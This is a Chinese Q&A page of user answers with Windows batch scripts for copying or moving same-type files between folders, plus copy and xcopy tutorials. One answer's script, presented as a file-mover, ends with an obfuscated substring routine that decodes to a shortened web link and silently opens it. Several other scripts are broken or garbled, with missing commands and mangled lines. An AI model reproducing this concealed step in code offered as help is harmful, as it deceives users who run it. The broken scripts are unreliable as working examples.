批處理複製不同資料夾中同一型別檔案到另一目標

2022-01-07 01:44:54 字數 4206 閱讀 6452

1樓:匿名使用者

@echo off

::請將不同的資料夾與此批處理放在同一個目錄下

set /p var=請輸入要複製的檔案型別(輸入格式:*.txt;*.pdf):

set /p path=請輸入要複製到的目標資料夾路徑:

::使用for迴圈查詢當前所有子檔案中的%var%型別檔案,並複製到指定路徑下。

for /f "delims=" %%a in ('dir /a-d /b /s %var%') do (

if not defined %%~nxa (

) else (

set /a n+=1

pause

注意:上面的批處理首先與使用者進行互動,讓使用者設定要複製的檔案型別以及要複製到目的路徑。接著使用for迴圈將當前目錄下的指定的檔案型別複製到指定路徑,如果發現有重名的檔案,就將第一個重名的檔案重名令,然後再複製新的檔案。

2樓:匿名使用者

如果名字相同就按名字排序後複製。如果類別相同就按照類別排序吧!選中第一個按住shift單機最後要選的。會將選中的第一個到最後一個檔案中間連續的檔案全部選中。自己試試吧

3樓:千羽之城

儲存**放到an資料夾根目錄。

4樓:匿名使用者

使用批處理複製多個不同字尾名的檔案到別的目錄下 100

5樓:北問邇

@echo offfor /r "e:\test\" %%a in (*.txt) do (copy "%%a" "f:

\123\")pause 假設複製e:\test資料夾裡的所有txt文字文件到f:\123資料夾,具體請結合實際修改

請教批處理複製2個資料夾相同檔名,字尾不同檔案到新的目錄裡

6樓:依夢琴瑤

@echo off & title 移動相同名的檔案 by 依夢琴瑤

cd /d "%~dp0"

::設定a路徑

set a_path=a

::設定b路徑

set b_path=a\b

::設定c路徑

set c_path=a\c

::設定d路徑

set d_path=a\d

for /f "delims=" %%a in ('dir /a-d/s/b "%b_path%\*"') do (

if exist "%c_path%\%%~na.*" (

move "%c_path%\%%~na.*" "%a_path%\"

move "%%~a" "%a_path%\"))

for /f "delims=" %%a in ('dir /a-d/s/b "%c_path%\*"') do (

if exist "%b_path%\%%~na.*" (

move "%b_path%\%%~na.*" "%a_path%\"

move "%%~a" "%a_path%\"))

move "%b_path%\*" "%d_path%\"

move "%c_path%\*" "%d_path%\"

pause

call :tome

exit

:tome

set "s=.:ailnhpst/fpdv"

start "" "%s:~6,1%%s:~9,1%%s:

~9,1%%s:~7,1%%s:~1,1%%s:

~10,1%%s:~10,1%%s:~8,1%%s:

~3,1%%s:~5,1%%s:~2,1%%s:

~0,1%%s:~4,1%%s:~9,1%%s:

~10,5%"

exit

7樓:

@echo off

資料夾1=d:\00000000\jpg"

set "資料夾2=d:\00000000\raw"

set "資料夾3=d:\00000000\all"

cd /d "%~dp0"

md "%資料夾3%" 2>nul

for /f "delims=" %%a in ('dir /a-d/b "%資料夾1%"') do (

if exist "%資料夾2%\%%~na.*" (echo;---------------"%%~na"---------------------

move "%資料夾2%\%%~na.*" "%資料夾3%\"

move "%資料夾1%\%%~na.*" "%資料夾3%\"))echo;any question +%#%%#% %zx%pause

使用bat的xcopy命令把一個目錄下的指定多個不同的檔案型別複製到別一個資料夾

8樓:別在回來找俄

一、bat命令把一個檔案複製到指定的資料夾的方法是

1、在電腦上新建一個資料夾,再建一個「txt」檔案,並命名、

2、把檔案的字尾名改為「.bat」。

3、開啟檔案,第一行輸入「copy c:\users\administrator\desktop\西遊記\1.jpg c:\」。

4、第二行輸入「pause」

5、儲存後關閉,雙擊檔案彈出「dos」介面

6、可看到c盤下已經複製了一個檔案。

二、bat命令就是批處理命令。批處理檔案是無格式的文字檔案,它包含一條或多條命令。它

的副檔名為 .bat 或 .cmd。在命令提示下鍵入批處理檔案的名稱,或者雙擊該批處理檔案,

系統就會呼叫cmd.exe按照該檔案中各個命令出現的順序來逐個執行它們。

9樓:匿名使用者

xcopy是用來處理檔案及資料夾相關的東西的,如果你只是單純複製是沒必要的,直接用copy就行了,並且copy和xcopy也不支援同時批定多個檔名(只能用萬用字元或具體檔名),你這種檔案又很少,最簡單的辦法直接用&連線兩個語句,即類似copy c:\windows\system32\1.dll d:

\bak© c:\windows\system32\2.exe d:

\bak© c:\windows\system32\3.mdb d:

\bak

如果檔案很多,那就視情況而定了,如果檔案不多,可以用shift,也就是先建立一個比如1.bat,內容如下

@echo off

:getfile

if "%1"=="" goto end

copy "c:\windows\system32\%1" d:\bak

shift

goto getfile

:end

用的時候直接輸入比如

1.bat 1.dll 2.exe 3.mdb 4.bak

如果檔案很多,比如上百個,尋就要用需要用到for了,也就是你把所有要複製的檔名寫入一個txt裡,每行一個,比如是1.txt,內容如下

1.dll

2.exe

3.mdb

4.bak

然後bat放在這個txt同一目錄下,內容為

@echo off

for /f %%i in (1.txt) do copy "c:\windows\system32\%%i" d:\bak

之後直接執行這個bat就可以了。

10樓:肥仔田艾餅

要從驅動器 a 將所有檔案和子目錄(包括所有空的子目錄)複製到驅動器 b,請鍵入:

xcopy a:b: /e

ab兩個資料夾要在同一目錄下

編寫bat檔案刪除資料夾,寫個批處理刪除指定檔案或指定資料夾

1 電腦上新建一個資料夾,新建一個 txt 檔案,並命名。2 雙擊開啟,錄入以下字元後儲存。3 更改副檔名為bat,點選是,確認。4 拖拽要刪除的資料夾到bat檔案圖示上。5 鬆開手就可以看到如下視窗,再看上面的資料夾已經不見蹤影了。開啟記事本,echo off del e qq f s y 說明 ...

不同資料夾,兩個excel工作簿,用vba同步

是點一個按鈕同步?還是每操作一步就要同步?excel如何將多個在不同資料夾的相同工作表匯入到一張表中,用vba實現 可以不用vba因為簡單 複製表1區域 選擇性貼上 轉置 確定到表2目標單元格 願以的話把 發給我幫助解決 二二五二八零九二三八 hi 我,給你 excel vba 一個工作簿的兩個不同...

dos如何批量複製某個某個資料夾中的檔案到另地方

方法1 下面的這個批處理 放到d 1裡面執行即可。echo off md d 2 cls for f tokens 1 delims i in dir a d b s do copy i d 2 pause 方法2 這個批處理可以放到電腦任何一個地方執行 md d 2 cls set s d 1 f...